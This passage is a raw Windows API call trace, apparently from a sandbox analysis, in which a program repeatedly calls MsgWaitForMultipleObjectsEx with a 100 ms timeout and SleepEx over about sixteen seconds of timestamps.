pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.656] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.751] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.888] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.957] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.092] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.243] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.359] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.492] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.503] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.617] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.639] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.776] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.787] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0212.895] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0212.910] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.019] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.035] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.162] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.175] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.285] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.300] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.410] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.425] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.539] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.551] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.669] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.683] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.792] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.808] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0213.916] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0213.932] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.041] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.057] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.167] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.182] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.293] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.307] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.417] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.434] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.542] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.558] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.667] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.793] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.809] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0214.918] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0214.933] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.041] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.057] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.167] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.183] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.291] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.307] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.416] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.432] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.542] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.557] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.667] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.791] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.807] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0215.916] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0215.932] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.041] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.057] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.166] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.182] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.291] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.307] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.416] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.432] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.541] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.557] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.667] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.791] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.807] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0216.916] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0216.932] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.041] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.057] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.281] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.432] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.447] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.566] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.573] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.683] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.699] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.808] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0217.827] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0217.964] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.011] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.126] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.144] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.268] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.283] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.390] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.401] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.511] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.526] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.638] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.651] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.761] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.777] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0218.886] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0218.903] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.011] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.026] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.144] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.152] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.271] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.276] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.386] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.401] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.512] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.526] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.636] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.651] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.761] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.776] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0219.886] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0219.901] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.011] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.027] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.144] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.151] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.269] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.276] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.388] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.401] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.511] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.526] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.636] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.651] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.761] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.787] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0220.886] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0220.906] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.011] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.027] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.144] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.151] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.261] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.276] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.398] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.402] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.567] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.575] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.683] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.698] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.813] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.855] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0221.964] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0221.979] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.091] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.295] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.337] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.433] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.574] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.604] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.707] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.723] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.832] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0222.876] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0222.984] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.159] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.260] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.270] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.384] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.431] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.573] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.592] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.696] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.712] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.823] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.837] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0223.946] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0223.973] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.071] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.087] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.258] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.274] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.384] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.399] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.509] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.524] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.643] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.649] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.761] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.774] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0224.884] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0224.900] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.010] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.024] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.134] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.165] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.274] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.290] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.399] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.426] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.524] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.540] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.649] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.665] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.774] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.790] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0225.900] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0225.915] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.028] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.041] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.159] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.165] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.314] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.321] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.431] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.555] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.571] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.680] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.854] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0226.884] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0226.999] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.011] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.120] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.267] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.274] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.384] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.400] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.509] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.524] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.656] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.669] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.776] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.792] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0227.901] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0227.916] MsgWaitForMultipleObjectsEx 